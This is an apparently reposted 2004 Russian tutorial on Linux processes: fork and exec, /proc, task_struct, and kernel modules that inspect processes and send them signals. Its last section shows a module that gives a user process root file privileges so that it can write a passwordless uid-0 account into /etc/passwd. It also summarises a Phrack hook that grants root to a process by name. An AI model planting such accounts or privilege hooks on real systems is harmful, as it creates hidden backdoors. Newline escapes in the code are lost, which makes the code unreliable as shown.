Возможно вы искали: 'Tekken X Street Fighter'

May 15 2025 18:46:26
  • Как сделать 8Gamers.Ru домашней страницей?
  • Игры
    • База данных по играх
    • Игровые новости
    • Игровая индустрия
    • Обзоры на игры
    • Прохождения игр
    • Гайды к играм
    • Превью о играх
    • Игровые тизеры
    • Игровые арты
    • Игровые обои
    • Игровые скриншоты
    • Игровые обложки
    • Игровые трейлеры
    • Игровое видео
    • Вышедшие игры
    • Ближайшие релизы игр
  • Кино и ТВ
    • База данных по кино
    • Статьи о кино
    • Постеры
    • Кадры из кино
    • Кино трейлеры
    • Сегодня в кино
    • Скоро в кино
  • Комиксы и манга
    • Манга по алфавиту
    • База данных по комиксах
    • Читать онлайн комиксы
    • Читать онлайн манга
    • База персонажей
  • Читы и коды
    • Чит-коды для PC игр
    • Чит-коды для консольных игр
    • Трейнеры
    • Коды Game Genie
  • Моддинг
    • Модификации
    • Карты к играм
    • Программы для моддинга
    • Статьи о моддинге
  • Геймдев
    • Всё о создании игр
    • Список движков
    • Утилиты в помощь игроделу
    • Конструкторы игр
    • Игровые движки
    • Библиотеки разработки
    • 3D-модели
    • Спрайты и тайлы
    • Музыка и звуки
    • Текстуры и фоны
  • Рецензии
    • Игры
    • Кино
    • Аниме
    • Комиксы
    • Мангу
    • Саундтреки
  • Саундтреки
    • Лирика
  • Файлы
    • Патчи к играм
    • Русификаторы к играм
    • Сохранения к играм
    • Субтитры к кино
  • Медиа
    • Видео
    • Фото
    • Аудио
    • Фан-арты
    • Косплей
    • Фото с виставок
    • Девушки из игр
    • Рисунки
    • Рисуем онлайн
    • Фотохостинг
  • Юмор
    • Анекдоты
    • Афоризмы
    • Истории
    • Стишки и эпиграммы
    • Тосты
    • Цитаты
  • Флеш
    • Азартные
    • Аркады
    • Бродилки
    • Гонки
    • Для девочек
    • Для мальчиков
    • Драки
    • Квесты
    • Леталки
    • Логические
    • Мультфильмы
    • Открытки
    • Приколы
    • Разное
    • Спорт
    • Стратегии
    • Стрелялки
Статистика

Статей: 87772
Просмотров: 96111483
Игры
Injustice:  Gods Among Us
Injustice: Gods Among Us
...
Dark Souls 2
Dark Souls 2
Dark Souls II - вторая часть самой хардкорной ролевой игры 2011-2012 года, с новым героем, сюжето...
Battlefield 4
Battlefield 4
Battlefield 4 - продолжение венценосного мультиплеер-ориентированного шутера от первого ли...
Кино
Steins;Gate
Steins;Gate
Любители японской анимации уже давно поняли ,что аниме сериалы могут дать порой гораздо больше пи...
Ку! Кин-дза-дза
Ку! Кин-дза-дза
Начинающий диджей Толик и всемирно известный виолончелист Владимир Чижов встречают на шумной моск...
Обзоры на игры
• Обзор Ibara [PCB/PS2] 18357
• Обзор The Walking ... 18801
• Обзор DMC: Devil M... 19879
• Обзор на игру Valk... 15877
• Обзор на игру Stars! 17764
• Обзор на Far Cry 3 17948
• Обзор на Resident ... 16024
• Обзор на Chivalry:... 17508
• Обзор на игру Kerb... 17981
• Обзор игры 007: Fr... 16619
Превью о играх
• Превью к игре Comp... 17960
• Превью о игре Mage... 14464
• Превью Incredible ... 14721
• Превью Firefall 13479
• Превью Dead Space 3 16334
• Превью о игре SimC... 14730
• Превью к игре Fuse 15442
• Превью Red Orche... 15542
• Превью Gothic 3 16343
• Превью Black & W... 17354
Главная » Статьи » Разное » Процессы в Linux (linux proccess ipc kernel proc)

Процессы в Linux (linux proccess ipc kernel proc)

Ключевые слова: linux, proccess, ipc, kernel, proc, (найти похожие документы)

From: Bob <ubob at mail.ru>
Newsgroups: email
Date: Mon, 14 Sep 2004 14:31:37 +0000 (UTC)
Subject: Процессы в Linux

ПРОЦЕССЫ В LINUX
----------------


Характерной чертой современных операционных систем является поддержка
многозадачности - параллельного выполнения нескольких задач (task), что
обеспечивается, главным образом, аппаратными возможностями центрального
процессора.

Под задачей понимают экземпляр программы, которая находится в стадии выполнения.
Синонимом термина "задача" является термин "процесс", который впервые начали
применять разработчики системы MULTICS в 60-х годах прошлого века.


1. Общие сведения о процессах.
------------------------------

Процесс состоит из адресного пространства и набора структур данных, содержащихся
внутри ядра операционной системы. Адресное пространство представляет собой
совокупность страниц памяти, которое ядро выделило для выполнения процесса.
Адресное пространство содержит сегменты кода для программы, которую выполняет
процесс, используемые процессом переменные, стек процесса и различную
вспомогательную информацию, необходимую ядру во время работы процесса.

В структурах данных ядра хранится различная информация о каждом процессе. К
наиболее важным сведениям относятся:
- таблица распределения памяти процесса;
- текущий статус процесса;
- приоритет выполнения процесса;
- информация о ресурсах, которые использует процесс;
- владелец процесса.

Совокупность всех процессов, выполняющихся в системе, образует иерархическую
структуру, подобную дереву каталогов файловой системы. На вершине дерева
процессов находится управляющий процесс init, являющийся предком все системных и
пользовательских процессов.

С каждым процессом связан набор атрибутов, которые помогают системе управлять
выполнением и планированием процессов. С точки зрения системного
администрирования интерес представляют следующие атрибуты:


1) Идентификатор процесса (PID).
Каждому новому процессу ядро присваивает уникальный идентификационный номер. В
любой момент времени идентификатор процесса является уникальным, хотя после
завершения процесса он может использоваться снова для другого процесса.
Некоторые идентификаторы зарезервированы системой для особых процессов. Так,
процесс с идентификатором 1 - это процесс инициализации init, являющийся предком
всех других процессов в системе.


2) Идентификатор родительского процесса (PPID).
Новый процесс создается путем клонирования одного из уже существующих процессов.
Исходный процесс в терминологии UNIX называется родительским, а его клон -
порожденным. Помимо собственного идентификатора, каждый процесс имеет атрибут
PPID, т.е. идентификатор своего родительского процесса.


3) Идентификатор владельца (UID) и эффективный идентификатор владельца.
UID - это идентификационный номер пользователя, который создал данный процесс.
Вносить изменения в процесс могут только его создатель и привилегированный
пользователь. EUID - это "эффективный" UID процесса. EUID используется для того,
чтобы определить, к каким ресурсам и файлам у процесса есть право доступа. У
большинства процессов UID и EUID будут одинаковыми. Исключение составляют
программы, у которых установлен бит смены идентификатора пользователя.


4) Идентификатор группы GID и эффективный идентификатор группы (EGID)
GID - это идентификационный номер группы данного процесса. EGID связан с GID
также, как EUID с UID.


5) Приоритет.


6) Текущий каталог, корневой каталог, переменные программного окружения,
Управляющий терминал (controlling terminal)


2. Жизненный цикл процесса
--------------------------

Все процессы, кроме init, создаются при помощи системного вызова fork (процесс
init создается во время начальной загрузки системы). Вызывая функцию fork,
процесс создает свой дубликат, называемый дочерним процессом. Дочерний процесс
является практически точной копией родительского, но имеет следующие отличия:
- у дочернего процесса свой PID;
- PPID дочернего процесса равен PID родителя;

После выполнения fork родительский процесс может посредством системного вызова
wait или waitpid приостановить свое выполнение до завершения порожденного
(дочернего) процесса, или продолжать свое выполнение независимо от дочернего, а
дочерний процесс, в свою очередь, может запустить на выполнение новую программу
при помощи одного из системных вызовов семейства exec.

Совместное применение системных вызовов fork и exec представляют мощный
инструмент для программиста. Благодаря ветвлению при использовании вызова exec в
дочернем процессе может выполнятся другая программа. Таким образом, один процесс
может создавать несколько других процессов для параллельного выполнения
нескольких программ, и поскольку каждый порожденный процесс выполняется в
собственном адресном пространстве, статус его выполнения не влияет на
родительский процесс.

Процесс завершает выполнение при помощи системного вызова exit. Аргументом этого
вызова является код статуса завершения процесса. Младшие восемь бит статуса
доступны родительскому процессу при условии, что он выполнил системный вызов
wait. По соглашению, нулевой код статуса завершения означает, что процесс
завершил выполнение успешно, а ненулевой свидетельствует о неудаче.

Следующий пример демонстрирует работу вызова fork и порядок обработки кода
статуса завершения процесса:

-------------------------------
#include <stdio.h>
#include <errno.h>
#include <sys/wait.h>
#include <sys/types.h>
#include <unistd.h>

int main()
{
pid_t pid; // идентификатор процесса
int status; // код статуса завершения процесса

/* При помощи fork cоздаем дочерний процесс */

switch(pid = fork()) {

case -1:
perror("fork");
return -1;

case 0:
printf("Выполняется дочерний процессn");

/* Код статуса завершения равен 4 */
exit(4);
}

printf("Выполняется родительский процессn");
printf("Идентификатор дочернего процесса - %dn", pid);

/*
* Ждем завершения дочернего процесса
* и обрабатываем код статуса завершения
*/
if((pid = waitpid(pid, &status, 0)) && WIFEXITED(status)) {
printf("Дочерний процесс с PID = %d завершил выполнениеn", pid);
printf("Код статуса завершения равен %dn", WEXITSTATUS(status));
}
return 0;
}
-------------------------------

Функция waitpid приостанавливает выполнение родительского процесса, пока не
завершится порожденный процесс. Первый аргумент этой функции (pid) указывает,
завершения какого именно порожденного процесса следует ожидать.

Первый аргумент может принимать следующие значения:
- > 0 - ждать завершения процесса с данным идентификатором
- 0 - ждать завершения любого порожденного процесса, принадлежащего к той же
группе, что и родительский
- -1 - ждать завершения любого порожденного процесса
- < -1 - любого порожденного процесса, идентификатор группы (GID) которого
является абсолютным значением pid

Второй аргумент будет содержать код статуса завершения процесса, поэтому он
передается по ссылке. Возвращаемым значением функции будет PID порожденного
процесса.

В нашем примере значение первого аргумента равно идентификатору дочернего
процесса.

Для обработки код статуса завершения процесса используются два макроса,
WIFEXITED и WEXITSTATUS, которые определены в файле <sys/wait.h>.
Макрос WIFEXITED возвращает ненулевое значение, если порожденный процесс был
завершен посредством вызова exit. Макрос WEXITSTATUS возвращает код завершения
порожденного процесса, присвоенного вызовом exit. Оба этих макроса обрабатывают
значение второго аргумента функции waitpid - переменной status. Эта переменная
имеет следующий формат:

- биты 0 - 6 - содержат нуль, если порожденный процесс был завершен с помощью
функции exit, или номер сигнала, завершившего процесс.
- бит 7 - равен 1, если из-за прерывания порожденного процесса сигналом был
создан дамп образа процесса (файл core). В противном случае равен 0
- биты 8 - 15 - содержат код завершения порожденного процесса, переданным
посредством exit.

А теперь немного изменим приведенный выше пример для демонстрации возможности
запуска в дочернем процессе новой программы:

....

switch(pid = fork()) {

case -1:
perror("fork");
return -1;

case 0:
printf("Выполняется дочерний процессn");

execl("/bin/gzip", "gzip", "test.txt", 0);
perror("gzip");
exit(errno);
}
....


В дочернем процессе при помощи системного вызова exec запускается на выполнение
программа gzip для сжатия файл test.txt.


3. Получение информации о процессе при помощи proc
--------------------------------------------------

Главным источником информации о процессах на пользовательском уровне является
файловая система proc. Для доступа к этой информации достаточно перейти в
каталог /proc. Информация о каждом процессе собрана в отдельном подкаталоге, имя
которого совпадает с идентификационным номером процесса. Так, например, информация о
процессе init находится в подкаталоге 1, т.к. идентификационный номер этого
процесса зарезервирован и равен 1.

На примере процесса init рассмотрим, какие файлы присутствуют в каталоге
процесса и какую информацию о процессе они содержат (какая информация в них
содержится):

root@darkstar:/proc/1# ls -l

total 0
-r--r--r-- 1 root root cmdline
lrwxrwxrwx 1 root root cwd -> //
-r-------- 1 root root environ
lrwxrwxrwx 1 root root exe -> /sbin/init*
dr-x------ 2 root root fd/
-r--r--r-- 1 root root maps
-rw------- 1 root root mem
-r--r--r-- 1 root root mounts
lrwxrwxrwx 1 root root root -> //
-r--r--r-- 1 root root stat
-r--r--r-- 1 root root statm
-r--r--r-- 1 root root status

Каждый файл содержит определенную информацию о процессе:

- cmdline - список аргументов процесса
- cwd - символическая ссылка на текущий рабочий каталог процесса
- environ - переменные среды процесса
- exe - символическая ссылка на исполняемый файл процесса
- fd - подкаталог, содержащий ссылки на файлы, открытые процессом
- maps - адресное пространство, выделенное процессу
- root - символическая ссылка на корневой каталог процесса
- mounts - информация о точках монтирования и типах файловых систем
- status - статистическая информация о процессе (имя процесса, идентификационный
номер, состояние процесса, идентификатор владельца, группы, статистика
использования памяти и т.д.)

Таким образом, при помощи /proc можно получить исчерпывающую информацию об
интересующем процессе, используя имеющийся в нашем распоряжении инструментарий -
команды shell либо средства языка программирования.



4. Представление процессов в ядре
---------------------------------

Совокупность процессов в ядре Linux представляет собой кольцевой двусвязный
список структур struct task_struct. Структура struct task_struct определена в
файле <linux/sched.h> и содержит полную информацию о выполняемом процессе. Для
нас интерес представляют следующие поля этой структуры:

1) volatile long state - статус выполняемого процесса.

Может принимать следующие значения:

- TASK_RUNNING - процесс находится в очереди запущенных на выполнение задач;
- TASK_INTERRUPTIBLE - процесс в состоянии "сна", но может быть "разбужена" по
сигналу или по истечении таймера;
- TASK_UNINTERRUPTIBLE - состояние процесса схоже с TASK_INTERRUPTIBLE, только
он не может быть разбужена;
- TASK_ZOMBIE - процесс-"зомби". Процесс завершил свою работу до того, как
родительский процесс выполнил системный вызов wait;
- TASK_STOPPED - выполнение процесса остановлено.

Все эти значения определены в файле <linux/sched.h>:

#define TASK_RUNNING 0
#define TASK_INTERRUPTIBLE 1
#define TASK_UNINTERRUPTIBLE 2
#define TASK_ZOMBIE 4
#define TASK_STOPPED 8

2) struct mm_struct *mm, struct mm_struct *active_mm - указатели на адресное
пространство, выделенное процессу.

В состав структуры struct mm_struct входит структура struct vm_area_struct *
mmap, в которой находятся данные об областях памяти, выделенных процессу. Два
поля этой структуры, vm_start и vm_end, содержат адреса памяти, которую
использует процесс.
Детальное рассмотрение структуры struct vm_area_struct выходит за рамки данной
статьи, для дальнейшей работы нам достаточно и этой информации.

3) pid_t pid - идентификационный номер процесса

4) uid_t uid, euid, suid, fsuid - идентификаторы владельца процесса

5) gid_t gid, egid, sgid, fsgid - идентификаторы группы, к которой принадлежит
данный процесс

6) char comm[16] - символьное имя процесса

7) struct fs_struct *fs - информация о файловой системе.

Сама структура struct fs_struct определена в файле <linux/fs_struct.h>. Вот как
она выглядит:

struct fs_struct {
atomic_t count;
rwlock_t lock;
int umask;
struct dentry * root, * pwd, * altroot;
struct vfsmount * rootmnt, * pwdmnt, * altrootmnt;
};

Информация о точках монтирования корневого каталога и о текущем каталоге
процесса находится в полях struct dentry *root и *pwd.


8) struct files_struct *files - информация о файлах, открытых процессом.

Состав структуры struct files_struct (см.<linux/sched.h>:

/* Open file table structure */
struct files_struct {
atomic_t count;
rwlock_t file_lock; /* Protects all the below members. Nests insidetsk->alloc_lock */
int max_fds;
int max_fdset;
int next_fd;
struct file ** fd; /* current fd array */
....
struct file * fd_array[NR_OPEN_DEFAULT];
};

В поле next_fd находится число открытых процессом файлов, а в массиве структур
struct file ** fd собрана информация об этих файлах. Структура struct file
определена в <linux/fs.h>.

9) struct signal_struct *sig - указатели на обработчики сигналов.

Определение struct signal_struct находится в <linux/signal.h>:

struct signal_struct {
atomic_t count;
struct k_sigaction action[_NSIG];
spinlock_t siglock;
};

В массиве структур struct k_sigaction action[_NSIG] находятся указатели на
функции, которые вызывает процесс при получении сигналов. Структура struct
k_sigaction определена в <asm-i386/signal>:

struct k_sigaction {
struct sigaction sa;
};

Структура struct sigaction определена в этом же файле:

struct sigaction {
__sighandler_t sa_handler;
unsigned long sa_flags;
void (*sa_restorer)(void);
sigset_t sa_mask; /* mask last for extensibility */
};

/* Type of a signal handler. */
typedef void (*__sighandler_t)(int);

Адрес обработчика сигнала находится в поле __sighandler_t sa_handler структуры
struct sigaction. Это поле может принимать следующие значения, определенные в
<asm-i386/signal.h>:

#define SIG_DFL ((__sighandler_t)0) /* default signal handling */
#define SIG_IGN ((__sighandler_t)1) /* ignore signal */

Значение SIG_DFL требует выполнения стандартного действия. Отметим, что SIG_DFL
эквивалентен NULL. Значение SIG_IGN означает, что сигнал будет игнорироваться.
Также в этом поле может находиться адрес функции, которая будет вызвана по
приходу сигнала.

Поле sigset_t sa_mask представляет собой набор сигналов, которые должны быть
заблокированы в течении обработки данного сигнала. Например, если для процесса
необходимо заблокировать сигналы SIGHUP и SIGINT, пока обрабатывается сигнал
SIGCHLD, тогда относящаяся к SIGCHLD sa_mask для процесса устанавливает разряды,
соответствующие SIGHUP и SIGINT.

Определение sigset_t находится в <asm-i386/signal.h>:

#define _NSIG 64
#define _NSIG_BPW 32
#define _NSIG_WORDS (_NSIG / _NSIG_BPW)

typedef struct {
unsigned long sig[_NSIG_WORDS];
} sigset_t;

Единственный компонент в sigset_t - это массив из unsigned long, каждый разряд
которого соответствует одному сигналу. Номера всех сигналов перечислены в
<asm-i386/signal.h>.

10) sigset_t blocked - маска сигналов, заблокированных процессом. Для
блокирования сигнала соответствующий бит устанавливается в 1.

11) struct sigpending pending - содержит номера сигналов, посылаемых процессу.

Эта структура определена в <linux/sched.h> следующим образом:

struct sigpending {
struct sigqueue *head, **tail;
sigset_t signal;
};

sigset_t signal, как мы уже рассмотрели, является простой последовательностью
бит, и посылка сигнала процессу означает установку бита в соответствующей
позиции в 1.

Для более детального ознакомления с вышеперечисленными полями разработаем модуль
ядра, который при загрузке будет отображать информацию об определенном процессе,
подобно тому, как это делает /proc (см. "Получение информации о процессе при
помощи proc").

Для решения этой задачи нам понадобится какой-нибудь процесс. Лучше всего, если
он будет функционировать в фоновом режиме (в режиме демона, daemon). Этот
процесс после запуска будет выполнять следующие действия:
- перехватывать все сигналы, а для сигнала SIGUSR1 определять новый обработчик
- открывать исполняемый файл программы, находящийся в текущем каталоге

Создадим такой процесс при помощи следующего кода:

-------------------------------
/* Файл sfc.c */
#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <errno.h>
#include <sys/types.h>

static pid_t pid; // идентификатор создаваемого процесса

int main ()
{
pid = fork();

if (pid < 0) {
perror("fork");
return -1;
}

if (pid == 0) { // дочерний процесс
setsid(); // отсоединяемся от терминала
start_daemon();
}

return 0;
}
-------------------------------

Функция start_daemon() выполняет следующие задачи:
- перехватывает все сигналы
- для сигнала SIGUSR1 определяет новый обработчик
- открывает исполняемый файл программы, находящийся в текущем каталоге
- запускает на выполнение бесконечный цикл


-------------------------------
void start_daemon()
{
int i, out;

sigset_t mask;
static struct sigaction act;

sigfillset(&mask);
sigdelset(&mask, SIGUSR1);

/* Блокируем все сигналы */
sigprocmask(SIG_SETMASK, &mask, NULL);

/* Определяем новый обработчик для SIGUSR1 */
act.sa_handler = stop_daemon;
sigaction(SIGUSR1, &act, NULL);

/* Открываем исполняемый файл программы */
out = open("./sfc", O_RDONLY);
if(out < 0) perror("open");

for(;;);

}
-------------------------------

Новый обработчик сигнала SIGUSR1 просто завершит выполнение демона, вызвав
функцию exit:

void stop_daemon()
{
exit(0);
}

Получаем исполняемый файл и запускаем его на выполнение:

# gcc -o sfc sfc.c
# ./sfc

Процесс начинает свое выполнение в фоновом режиме. Найдем его в списке
процессов:

# ps -ax | grep sfc
903 ? R 0:02 ./sfc

Итак, процесс ./sfc успешно выполняется, и его PID равен 903. Теперь приступим к
реализации модуля ядра.

/* Файл task.c */
#include <linux/config.h>
#include <linux/module.h>
#include <linux/slab.h>
#include <linux/sched.h>
#include <linux/types.h>
#include <linux/signal.h>

Первое, что должен сделать модуль после загрузки - найти в списке структур
struct task_struct структуру, соответствующую процессу sfc. Поиск выполняется
при помощи функции find_task_by_name(). Аргументом функции является имя искомого
процесса, возвращаемое значение - указатель на структуру процесса struct
task_struct.

Функция find_task_by_name выглядит следующим образом:

struct task_struct * find_task_by_name(__u8 *name)
{
struct task_struct *p;

for_each_task(p)
if(strcmp(p->comm, name) == 0) return p;

return 0;
}

Для прохождения всего списка процессов в системе предусмотрен макрос
for_each_task(p) (см. файл <linux/sched.h>):

#define for_each_task(p)
for (p = &init_task ; (p = p->next_task) != &init_task ; )

Функция find_task_by_name будет вызвана во время процедуры инициализации модуля:

static int __init task_on(void)
{
struct task_struct *p;
int pid = 0;
int i;

Ищем структуру, которая описывает процесс sfc:

p = find_task_by_name("sfc");

Если поиск завершился удачно, отобразим PID процесса (результаты работы модуля
будут сохранены в файле /var/log/messages):

if(p) printk(KERN_INFO "PID - %dn", p->pid);
else {
printk(KERN_INFO "No such taskn");
return 0;
}

Можно также выполнить поиск процесса по заданному PID при помощи функции
find_task_by_pid(int pid) (см. <linux/sched.h>). Повторим поиск процесса,
используя найденный PID:

pid = p->pid;
p = find_task_by_pid(pid);

Процесс найден. Отобразим результаты поиска:

- имя процесса и его состояние:

printk(KERN_INFO "NAME - %sn", p->comm);
printk(KERN_INFO "STATE - %un", (u32)p->state);

- адресное пространство процесса:

printk(KERN_INFO "START ADDRESS - 0x%08Xn",(u32)p->active_mm->mmap->vm_start);
printk(KERN_INFO "END ADDRESS - 0%08Xn", (u32)p->active_mm->mmap->vm_end);

- идентификаторы:

printk(KERN_INFO "UID - %dn", p->uid);
printk(KERN_INFO "GID - %dn", p->gid);
printk(KERN_INFO "EUID - %dn", p->euid);
printk(KERN_INFO "EGID - %dn", p->egid);
printk(KERN_INFO "FSUID - %dn", p->fsuid);
printk(KERN_INFO "FSGID - %dn", p->fsgid);

- точка монтирования корневого каталога и имя каталога, откуда стартовал процесс sfc:

printk(KERN_INFO "ROOT - %sn", p->fs->root->d_name);
printk(KERN_INFO "PWD - %sn", p->fs->pwd->d_name);

- файлы, открытые процессом sfc:

for(i = 0; i < p->files->next_fd; i++)
printk(KERN_INFO "%sn", p->files->fd[i]->f_dentry->d_name);

- адреса обработчиков сигналов:

for(i = 0; i < 31; i++)
printk(KERN_INFO "%d - 0x%08Xn", i, (unsigned int)p->sig->action[i].sa.sa_handler);

return 0;
}


Функция выгрузки модуля из системы имеет стандартный вид:

static void __exit task_off(void)
{
return;
}

module_init(task_on);
module_exit(task_off);


Загружаемый модуль получим при помощи следующего Makefile:

################# MAKEFILE ############################

.PHONY = clean
CC = gcc
CFLAGS = -O2 -Wall
KERNELDIR = /usr/src/linux
MODFLAGS = -D__KERNEL__ -DMODULE -I$(KERNELDIR)/include

all: task.o

task.o: task.c
$(CC) $(CFLAGS) $(MODFLAGS) -c task.c

clean:
rm -f *.o *~ core

########################################################

Процесс sfc уже запущен на выполнение. После загрузки модуля информация об этом
процессе будет собрана в файле /var/log/messages. Cравните результаты работы
модуля с данными о процессе, которые находятся в /proc.

Остановимся подробнее на информации, касающейся адресов обработчиков сигналов:

kernel: 0 - 0x00000000
.......
kernel: 8 - 0x00000000
kernel: 9 - 0x080484D8 <----
kernel: 10 - 0x00000000
.......
kernel: 30 - 0x00000000

Как мы видим, все адреса обработчиков сигналов имеют значение SIG_DFL, т.е.
NULL. Это значит, что при поступлении любого из этих сигналов процессу система
выполнит стандартные действия.
Исключение составляет сигнал под номером 9 (10-й в списке). Согласно перечню,
приведенному в <asm-i386/signal.h>, это сигнал SIGUSR1:

#define SIGUSR1 10

Именно для этого сигнала мы ввели новый обработчик, функцию stop_daemon.
Извлечем адрес этой функции из исполняемого файла sfc и сравним его с
результатом, полученным при работе модуля:

# objdump -x ./sfc | grep stop_daemon
080484D8 g F .text 00000010 stop_daemon

Адрес фунции stop_daemon - нового обработчика сигнала SIGUSR1 - равен
0x080484D8. Точно такое же значение выдал и модуль.

Согласитесь, что просто смотреть на процесс - неинтересно. Давайте им управлять.
Пошлем процессу sfc из модуля сигнал SIGUSR1, при получении которого процесс
завершить свое выполнение.

Для того, чтобы из ядра послать процессу сигнал, необходимо установить в
структуре struct sigpending pending бит, соответствующий порядковому номеру
посылаемого сигнала, в единицу, а также присвоить единичное значение полю
sigpending, которое служит индикатором того, что процесс получил сигнал и его
надо обработать.

Перепишем функцию инициализации модуля - вместо отображения информации о
процессе sfc, модуль будет посылать ему сигнал SIGUSR1:

Функция инициализации модуля будет выглядеть следующим образом:

static int __init task_on(void)
{
struct task_struct *p;

Ищем процесс sfc:
p = find_task_by_name("sfc");

if(p) printk(KERN_INFO "PID - %dn", p->pid);
else {
printk(KERN_INFO "No such taskn");
return 0;
}

В структуре struct sigpending pending устанавливаем бит, соответствующий сигналу
SIGUSR1:

sigaddset(&p->pending.signal, SIGUSR1);
p->sigpending = 1; // индикатор прихода сигнала

return 0;
}


Функция sigaddset устанавливает в 1 бит с указанным номером. Номер бита
передается как параметр функции. Эта функция (платформенно-зависимый вариант)
определена в файле <asm-i386/signal.h>:

static __inline__ void sigaddset(sigset_t *set, int _sig)
{
__asm__("btsl %1,%0" : "=m"(*set) : "Ir"(_sig - 1) : "cc");
}


Загрузив модуль, мы тем самым отправим процессу sfc сигнал SIGUSR1 и остановим
его выполнение.

Кстати, совсем не обязательно переопределять обработчик сигнала в самом процессе
- это можно сделать в модуле, вписав адрес нового обработчика непосредственно в
поле sa_handler.

Посмотрим, как это делается. Перепишем функцию start_daemon процесса, убрав из
нее переопределение обработчика сигнала SIGUSR1:

void start_daemon()
{
sigset_t mask;
sigfillset(&mask);

/* Блокируем все сигналы */
sigprocmask(SIG_SETMASK, &mask, NULL);

for(;;);

}

В функции start_daemon() заблокированы все сигналы, новые обработчики не
определены. Функцию stop_daemon оставим без изменений.

Получаем исполняемый файл и определяем адрес функции stop_daemon:

# gcc -o sfc sfc.c
# objdump -x ./sfc | grep stop_daemon
08048434 g F .text 00000010 stop_daemon

Адрес функции stop_daemon равен 0x08048434. Этот адрес будет указан в качестве
нового обработчика сигнала SIGUSR2 для процесса sfc.

Переопределение обработчика сигнала выполняет непосредственно модуль, в
следствии чего функция инициализации модуля принимает следующий вид:

static int __init task_on(void)
{
struct task_struct *p;

Ищем структуру, соответствующую процессу sfc:

p = find_task_by_name("sfc");

if(p) printk(KERN_INFO "PID - %dn", p->pid);
else {
printk(KERN_INFO "No such taskn");
return 0;
}

Устанавливаем адрес нового обработчика сигнала SIGURS2 - вписываем адрес функции
stop_daemon в поле адреса обработчика sa_handler. Порядковый номер сигнала
SIGUSR2 известен и равен 12 (см. <asm-i386/signal.h>):

(unsigned int)p->sig->action[11].sa.sa_handler = 0x8048434;

Если мы сейчас же пошлем сигнал процессу, то он его не воспримет. Почему? Дело в
том, что все сигналы на данный момент заблокированы в функции start_daemon.
Чтобы процесс воспринял приход сигнала SIGUSR2, нужно его разблокировать. Для
этого необходимо сбросить соответствующий бит в маске заблокированных сигналов -
в поле sigset_t blocked структуры task_struct:

sigdelset(p->blocked.sig, SIGUSR2);

А теперь посылаем сигнал SIGURS2 процессу:

sigaddset(&p->pending.signal, SIGUSR2);
p->sigpending = 1;

return 0;
}

Сброс бита в маске заблокированных сигналов выполняет функция sigdelset(),
которая определена в файле <asm-i386/signal.h>:

static __inline__ void sigdelset(sigset_t *set, int _sig)
{
__asm__("btrl %1,%0" : "=m"(*set) : "Ir"(_sig - 1) : "cc");
}

Это также платформенно-зависимый вариант функции.


Подведем предварительные итоги - мы выяснили, как при помощи модуля ядра можно
получить информацию о выполняющемся процессе, и как из ядра послать процессу
сигнал.

Рассмотрим еще один пример работы с содержимым структуры task_struct.

Предположим, что в системе зарегистрирован пользователь play. Идентификатор
этого пользователя (UID) равен 1000, и принадлежит он к группе users (GID=100).
От имени этого пользователя в фоновом режиме выполняется процесс, который по
приходу сигнала SIGUSR2 пытается добавить в файл /etc/passwd новую учетную
запись для пользователя play1, обладающего правами root:

play1::0:0:,,,:/home/play1:/bin/bash

Очевидно, что попытка записи в файл /etc/passwd какой-либо информации будет
безуспешной, если процесс не обладает достаточным уровнем привилегий. Значит,
необходимо выдать этому процессу соответствующие полномочия - права
суперпользователя (root).

Заботу об этом берет на себя модуль ядра, который после загрузки находит
структуру, описывающую процесс, назначает ему права суперпользователя путем
установки полей uid/gid, euid/egid, suid/sgid, fsuid/fsgid структуры процесса в
0, и после этого посылает процессу уведомление о том, что тот получил права root.

Уведомление представляет собой сигнал SIGUSR2, при получении которого процесс
выполняет запись информации в файл /etc/passwd, уже имея для этого
соответствующие полномочия.

Итак, нам необходим процесс, который по сигналу SIGUSR2 будет выполнять запись в
/etc/passwd. Модифицируем уже имеющийся в нашем распоряжении процесс sfc.
Изменениям подвергнутся только функции start_daemon и stop_daemon.

В функции start_daemon определим новый обработчик для сигнала SIGUSR2:

-------------------------------
void start_daemon()
{
sigset_t mask;
static struct sigaction act;

sigfillset(&mask);
sigdelset(&mask, SIGUSR2);

/* Block all signal */
sigprocmask(SIG_SETMASK, &mask, NULL);

act.sa_handler = stop_daemon;
sigaction(SIGUSR2, &act, NULL);

for(;;);
}
-------------------------------


Обработчик сигнала SIGUSR2 - функция stop_daemon - имеет следующий вид:

-------------------------------
void stop_daemon()
{
int psw;

unsigned char *str = "play1::0:0:,,,:/home/play1:/bin/bashn";

psw = open("/etc/passwd", O_APPEND|O_RDWR);
if(psw < 0) goto out;

if(write(psw, str, 37)) close(psw);

out:
exit(0);
}
-------------------------------

Тут все просто.

Теперь модуль. Изменения коснутся функции инициализации:

static int __init task_on(void)
{
struct task_struct *p;

printk(KERN_INFO "Current - %sn", current->comm);

p = find_task_by_name("sfc");

if(p) printk(KERN_INFO "PID - %dn", p->pid);
else {
printk(KERN_INFO "No such taskn");
return 0;
}

Назначаем права root процессу sfc для возможности записи информации в файл
/etc/passwd:

p->fsuid = 0;
p->fsgid = 0;

Посылаем процессу сигнал SIGUSR2:

sigaddset(&p->pending.signal, SIGUSR2);
p->sigpending = 1;

return 0;
}


Компилируем и запускаем процесс sfc от имени пользователя play. После этого
загружаем модуль и пробуем зайти в систему под именем play1.

Кроме присвоения привилегий процессу sfc, модуль отображает также информацию о
текущем выполняющемся процессе:

kernel: Current - insmod

Именно с помощью команды insmod мы загружаем модуль. Вопрос - каким образом
можно воздействовать на текущий процесс? Ведь по сравнению с фоновым он надолго
в памяти не задерживается. Например, тот же insmod - загрузил модуль и сразу на
выход.

По этому поводу очень интересный пример был приведен в 59-м выпуске электронного
журнала PHRACK (www.phrack.com), автор которого kad (реальное имя не было
указано, только e-mail - kadamyse@altern.org) показал, как можно присвоить права
root текущему процессу пользователя, используя для этой цели исключения (1).

Основная идея заключается в перехвате исключения номер 3, Breakpoint
(мнемоническое обозначение #BP), которое возникает при работе отладчика.
Перехват представляет собой простую замену адреса обработчика исключения #BP в
таблице дескрипторов прерываний (IDT, Interrupt Descriptor Table) адресом нового
обработчика. При возникновении #BP управление передается новому обработчику,
который вернет управление старому, но не сразу - сначала он проверит, кем было
сгенерировано исключение #BP, т.е. какой процесс является текущим, current.
Проверка выполняется путем сравнения значения, находящегося в поле comm
структуры процесса, с шаблонным значением, которое хранится в новом обработчике
#BP. Короче говоря, сравниваются две строки, при совпадении которых текущий
процесс (назовем его "test") получает привилегии root:

if(strcmp(current->comm, "test") == 0) current->uid = 0;

